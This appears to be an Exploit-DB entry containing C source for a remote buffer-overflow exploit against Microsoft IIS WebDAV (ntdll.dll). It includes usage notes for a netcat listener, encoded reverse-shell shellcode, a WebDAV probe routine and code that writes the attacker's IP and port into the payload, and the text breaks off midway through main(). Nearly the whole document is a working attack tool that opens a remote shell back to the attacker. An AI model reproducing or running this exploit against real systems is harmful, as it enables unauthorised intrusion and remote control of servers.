Exploit-DB #1
Description: Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow
Type: remote
Platform: windows
Date: 2003-03-23
Author: kralor

Exploit:
/*******************************************************************/
/* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
/* --------------------------------------------------------------- */
/* this is the exploit for ntdll.dll through WebDAV. */
/* run a netcat ex: nc -L -vv -p 666 */
/* wb server.com your_ip 666 0 */
/* the shellcode is a reverse remote shell */
/* you need to pad a bit.. the best way I think is launching */
/* the exploit with pad = 0 and after that, the server will be */
/* down for a couple of seconds, now retry with pad at 1 */
/* and so on..pad 2.. pad 3.. if you haven't the shell after */
/* something like pad at 10 I think you better to restart from */
/* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/* on all the others servers it was at 2,3,4, etc..sometimes */
/* you can have the force with you, and get the shell in 1 try */
/* sometimes you need to pad more than 10 times ;) */
/* the shellcode was coded by myself, it is SEH + ScanMem to */
/* find the famous offsets (GetProcAddress).. */
/* */
/*******************************************************************/


#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

char shellc0de[] =
"\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc"
"\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8"
"\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33"
"\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6"
"\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08"
"\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64"
"\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81"
"\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8"
"\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b"
"\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f"
"\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24"
"\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd"
"\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83"
"\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00"
"\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d"
"\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51"
"\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c"
"\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56"
"\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00"
"\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d"
"\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d"
"\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8"
"\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a"
"\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20"
"\xff\xd0"
"CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00"
"connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00"
"cmd" // don't change anything..
"\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
"\x00\x00\xe8\x77"
"\x00\x00\xf0\x77"
"\x00\x00\xe4\x77"
"\x00\x88\x3e\x04" // win2k3
"\x00\x00\xf7\xbf" // win9x =P
"\xff\xff\xff\xff";

int test_host(char *host)
{
char search[100]="";
int sock;
struct hostent *heh;
struct sockaddr_in hmm;
char buf[100] ="";

if(strlen(host)>60) {
printf("error: victim host too long.\r\n");
return 1;
}

if ((heh = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 1;
}

sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
hmm.sin_port = htons(80);
hmm.sin_family = AF_INET;
hmm.sin_addr = *((struct in_addr *)heh->h_addr);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}

printf("Checking WebDav on '%s' ... ",host);

if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
printf("CONNECTING_ERROR\r\n");
return 1;
}
send(sock,search,strlen(search),0);
recv(sock,buf,sizeof(buf),0);
if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1')
return 0;
printf("NOT FOUND\r\n");
return 1;
}

void help(char *program)
{
printf("syntax: %s <victim_host> <your_host> <your_port> [padding]\r\n",program);
return;
}

void banner(void)
{
printf("\r\n\t [Crpt] ntdll.dll exploit trough WebDAV by kralor
[Crpt]\r\n");
printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}

void main(int argc, char *argv[])
{
WSADATA wsaData;
unsigned short port=0;
char *port_to_shell="", *ip1="", data[50]="";
unsigned int i,j;
unsigned int ip = 0 ;
int s, PAD=0x10;
struct hostent *he;
struct sockaddr_in crpt;
char buffer[65536] ="";
char request[80000]; // huuuh, what a mess! :)
char content[] =
"<?xml version=\"1.0\"?>\r\n"
"<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\n"
"Select \"DAV:displayname\" from scope()\r\n"
"</g:sql>\r\n"
"</g:searchrequest>\r\n";

banner();
if((argc<4)||(argc>5)) {
help(argv[0]);
return;
}

if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return;
}

if(test_host(argv[1]))
return;

if(argc==5)
PAD+=atoi(argv[4]);

printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD);

ip = inet_addr(argv[2]); ip1 = (char*)&ip;

shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2];
shellc0de[451]=ip1[3];

port = htons(atoi(argv[3]));
port_to_shell = (char *) &port;
shellc0de[446]=port_to_shell[0];
shellc0de[447]=port_to_shell[1];

// we xor the shellcode [xored by 0x95 to avoid bad chars]
__asm {
lea eax, shellc0de
add eax, 0x34
xor ecx, ecx
mov cx, 0x1b0
wah:
xor byte ptr[eax], 0x95
inc eax
loop wah
}

if ((he = gethostbyname(argv[1]))==0){
printf("error: can't resolve '%s'",argv[1]);
return;
}

crpt.sin_port = htons(80);
crpt.sin_family = AF_INET;
crpt.sin_addr = *((struct in_addr *)he->